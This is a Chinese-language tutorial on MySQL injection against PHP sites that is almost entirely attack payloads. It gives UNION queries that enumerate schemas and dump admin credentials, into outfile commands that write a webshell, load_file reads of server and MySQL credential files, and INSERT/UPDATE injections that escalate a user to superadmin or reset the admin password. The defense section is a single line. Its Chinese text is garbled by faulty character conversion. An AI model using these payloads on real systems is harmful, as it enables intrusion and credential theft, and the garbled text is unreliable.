MySQL注射***与防范详解

PHP+MySQL JSP+MySQL 

一.基础知识 
1.MYSQL的版本 
4.0如下,4.0以上,5.0以上。 
4.0如下不支持union查询 
4.0以上magic_quotes_gpc默认为on 
5.0以上能够暴表暴列,支持跨库 
2.magic_quotes_gpc=on 
当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中全部的 ' (单引号), " (双引号), \(反斜线) and 空字符会自动转为含有反斜线的转义字符。例如'会变成\'。给注入带来很多的阻碍。 
3.注释符 
Mysql有3种注释句法 
# 注射掉注释符后面的本行内容 
-- 注射效果同# 
/* ... */  注释掉符号中间的部分 
对于#号将是咱们最经常使用的注释方法。 
-- 号记得后面还得有一个空格才能起注释做用。 

/*...*/  咱们通常只用前面的/*就够了。 
注意:在浏览器地址栏输入#时应把它写成%23,这样经urlencode转换后才能成为#,从而起到注释的做用。 
注射中经常使用/**/代替空格。 

4.一些函数与MSSQL中的不一样 
ascii() 
length() 
5.导出文件(into outfile) 
使用  into outfile 把代码写到web目录取得WEBSHELL   
首先须要 3大先天条件 
①知道物理路径(into outfile '物理路径') 这样才能写对目录 
②可以使用union (也就是说须要MYSQL4以上的版本) 
③对方没有对'进行过滤(由于outfile 后面的 '' 不能够用其余函数代替转换) 
后天条件就要2个 
①就是MYSQL 用户拥有file_priv权限(否则就不能写文件 或者把文件内容读出) 
②对web目录有写权限MS 的系统就不说了通常都会有权限的~可是*nix 的系统嘛!一般都是rwxr-xr-x 也就是说组跟其余用户都没有权限写操做 
6.读取文件(load_file()) 
serv-U默认安装路径的servudaemon.ini。注意能够变化D盘,E盘…… 
读取数据库配置文件 
IIS站点配置信息,c:\windows\system32\inetsrv\metabase.xml 
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 
/usr/local/apache2/conf/httpd.conf 
/usr/local/app/php5/lib/php.ini //PHP相关设置 
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 
/etc/my.cnf //mysql的配置文件 
/etc/redhat-release //系统版本 
C:\mysql\data\mysql\user.MYD //us存储了mysql.er表中的数据库链接密码 
/etc/sysconfig/iptables //从中获得防火墙规则策略 

7.绝对路径 
1.加特殊符号,访问不存在的连接 
2.读取服务器配置文件 
3.直接访问 
phpmyadmin/libraries/select_lang.lib.php 
phpmyadmin/darkblue_orange/layout.inc.php 
phpmyadmin/index.php?lang[]=1 
8.网站OS版本 
变换大小写。 
9.PHPMyadmin路径 
在测试uninx系统中phpmyadmin路径时候能够在upload/2011/5/201105170148018831.jpg 
2004091201.jpg中的内容为 一句话 
好,咱们开始upload/2011/5/201105170148026134.jpg'),4,5,6,7,8,9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php' 
由于适用了outfile,因此网页显示不正常,可是咱们的任务是完成了。 
load_file读写文件的技巧 
不知道你有没有发现过在咱们用load_file()读写php文件时不能在网页中显示。例如: 
'C:/apache/htdocs/site/lib/sql.inc.php'转化为16进制为:0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870 
咱们构造以下 
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11 
发如今文章内容的地方原本该显示sql.inc.php的,但是却空空之,为什么呢? 内容在源代码里面。 
substring() left() right() mid() 

into outfile'' 不能绕过 
mysql 5.0如下的跨库查询 
变相的跨库查询,方法就是经过load_file来直接读出mysql中data文件夹下的文件内容,从而实现变态跨库查询。 
举个例子啦 
在这以前咱们先讲一下mysql的data文件夹下的结构 
Data文件夹下有按数据库名生成的文件夹,文件夹下按照表名生成三个后缀为frm,myd,myi的三个文件,例如 
Mysql中有alpha数据库,在alpha库中有alphaauthor和alphadb两个表, 
Alpha文件夹下就有alphadb.frm,alphadb.myd,alphadb.myi,alphaauthor.frm,alphaauthor.myd,alphaauthor.myi 
其中alphadb.frm放着lphadb表中的数据,alphadb.myd放着表的结构,alphadb.myi中放的内容随mysql的版本不一样会有所不一样,具体能够本身用记事本打开来判断。 
实验开始 
假设咱们知道有另外的一个数据库yminfo210存在,且存在表user,user中放着admin的信息。 
咱们 
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('yminfuo210/ser.myd'),4,5,6,7,8,9,10,11 
说明一下,load_file默认所在的目录是mysql下的data目录,因此咱们用 
load_file('yminfo210/user.myd'),固然load_file('.info210/user.myd')也是同样的,注意的是into outfile的默认路径是在所在的数据库文件夹下。 
咱们看读出来的内容 
舼鮂F鮂F?   admin 698d51a19d8a121ce581499d7b701668 sdf@sd.com sdfasdfsdfa asdfadfasd   ?E麷AM麷A 127.0.0.1 222  222222223423 
虽然乱码一堆,可是咱们仍是能够看出用户名是admin,密码是698d51a19d8a121ce581499d7b701668,后面其它的是另外的信息。 
经过这种方法咱们就实现了曲线跨库。 
3.其余一些注射语句(insert注射和update注射) 
INSERT 
  若是你们认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操做,那就是INSERT和UPDATE语句,这类例子很少,先面先说说INSERT,这主要应用于改写插入的数据,咱们来看个简单而又普遍存在的例子,看看下面的数据结构: 
CREATE TABLE 'user' ( 
'userid' INT NOT NULL AUTO_INCREMENT , 
'username' VARCHAR( 20 ) NOT NULL , 
'password' VARCHAR( 50 ) NOT NULL , 
'homepage' VARCHAR( 255 ) NOT NULL , 
'userlevel' INT DEFAULT '1' NOT NULL , 
PRIMARY KEY ( 'userid' ) 
); 

  其中的userlevel表明用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注册程序默认是注册成普通用户,以下: 
INSERT INTO 'user' (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); 

  默认userlevel字段是插入1,其中的变量都是没有通过过滤就直接写入数据库的,不知道你们有什么想法?对,就是直接注入,使咱们一注册就是超级管理员。咱们注册的时候,构造$homepage变量,就能够达到改写的目的,指定$homepage变量为: 
http://4ngel.net', '3’)# 

  插入数据库的时候就变成: 
INSERT INTO 'user' (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1'); 

  这样就注册成为超级管理员了。但这种利用方法也有必定的局限性,好比,我没有须要改写的变量如userlevel字段是数据库的第一个字段,前面没有地方给咱们注入,咱们也没有办法了。 
或许INSERT还有更普遍的应用,你们能够自行研究,但原理都是同样的。 
UPDATE 
  和INSERT相比,UPDATE的应用更加普遍,若是过滤不够,足以改写任何数据,仍是拿刚才的注册程序来讲,数据结构也不变,咱们看一下用户本身修改本身的资料,SQL语句通常都是这样写的: 
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id' 

  用户能够修改本身的密码和主页,你们有什么想法?总不至于仍是提高权限吧?程序中的SQL语句又没有更新userlevel字段,怎么提高啊?仍是老办法,构造$homepage变量, 指定$homepage变量为: 
http://4ngel.net', userlevel='3 

  整个SQL语句就变成这样: 
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id' 

  咱们是否是又变成超级管理员了?程序不更新userlevel字段,咱们本身来。 
还有更加绝的,直接修改任意用户的资料,仍是刚才的例句,但此次安全一点,使用MD5加密: 
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id' 

  尽管密码被加密了,但咱们仍是能够构造咱们须要的语句,咱们指定$password为: 
mypass)' WHERE username='admin'# 

  这时整个语句变为: 
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id' 

  这样就更改了更新的条件,我管你后面的代码是否是在哭这说:咱们尚未执行啊。固然,也能够从$id下手,指定$id为: 
' OR username='admin' 

  这时整个语句变为: 
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin' 

4.MySQL5.0以上的新特性 
系统表的结构 
SCHEMATA         ――>存储数据库名的, 
|——>关键字段:SCHEMA_NAME,表示数据库名称 
                       
| TABLES              ――>存储表名的   
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称; 
TABLE_NAME表示表的名称 

| COLUMNS   ――>存储字段名的 
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称; 
TABLE_NAME表示所属的表的名称 
             COLUMN_NAME表示字段名 

爆管理员帐号密码找到后台登录。 

前面爆管理员帐号密码前有可能猜表都猜不到。这里教你们暴库,爆表,爆字段。 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,schema_name,6,7,8 from information_schema.SCHEMATA limit 0,1/* 
这样会爆出一个数据库。前面咱们垂手可得的能够获得一个当前链接的数据库。 
咱们要爆出的数据库里要存放管理员的用户和密码。 
这里limit 0,1/*的意思是爆出第一个库的名字,若是要查看第二个数据库名就增长limit后面的值,好比把0增长为1就又爆出一个库名。逐次加1就分别暴出了网站的其余数据库名。 
已经知道网站数据库名是study,继续爆表。 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.table where TABLE_SCHEMA=0x7374756479 limit 0,1/* 
这里0x7374756479就是study的16进制形式。成功爆出一个表名。咱们在增长limit后面的数字来逐一爆出数据库中的其余表名。 
爆字段 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,COLUMN_NAME,6,7,8 from information_schema.COLUMN_NAME where TABLE_NAME=0x61646D696E limit 0,1/* 
成功爆出admin表中的一个字段。0x61646D696E为admin的16进制。 

有时候咱们用union联合查询前猜到的字段长度多是1,这样对咱们就有所限制了。咱们能够借助concat函数来一次性爆出咱们所但愿获得的东西。具体用法是concat(咱们想要爆的,0x3A,咱们想要爆的,0x3A,咱们想要爆的……) 
http://127.0.0.1/ad.php?id=1 and 1=2 union select concat(user(),0x3A,database(),0x3A,version()) 
0x3A是;的16进制形式。 

PHP跨库查询。当前库realmd,要跨到BBS的库为discuz,默认中discuz数据库中存放用户信息的表是cdb_members ,两个字段为username,password 
http://127.0.0.1/ad.php?id=1 and 1=1 union select 1,2,3,4,5,6,7,8 from discuz.cdb_members返回正常,说明跨库查询成功。而且数据库和表都是存在的。 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,username,3,password,5,6,7,8 from discuz.cdb.members where uid=1 
延伸——跨库后一样能够爆表爆字段。 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.table where TABLE_SCHEMA=discuz limit 0,1/* 
http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,COLUMN_NAME,6,7,8 from information_schema.COLUMN_NAME where TABLE_NAME=discuz.cdb_members limit 0,1/* 
schema_name  information_schema.SCHEMATA 
table_name  information_schema.table  TABLE_SCHEMA 
COLUMN_NAME  information_schema.COLUMN_NAME  TABLE_NAME 
三.***思路 

若是magic_quotes_gpc=off 尝试into outfile直接获得一个shell 
判断数据库版本,能够尝试各个版本的溢出漏洞 
若是能load_file,能够load_file出数据库的帐户密码 
链接或者是找到phpmyadmin后登录 
登录后建立一个表,导出一个shell或者into outfile 一个shell 
也能够load_file serv-U的相关信息,利用FTP登录 
猜想管理员帐户密码找到后台登录得到shell 
本库不行,能够跨库。 

四.漏洞防护 
变量的过滤 
开启magic_quotes_gpc而且int型变量作一个判断。

相关文章
相关标签/搜索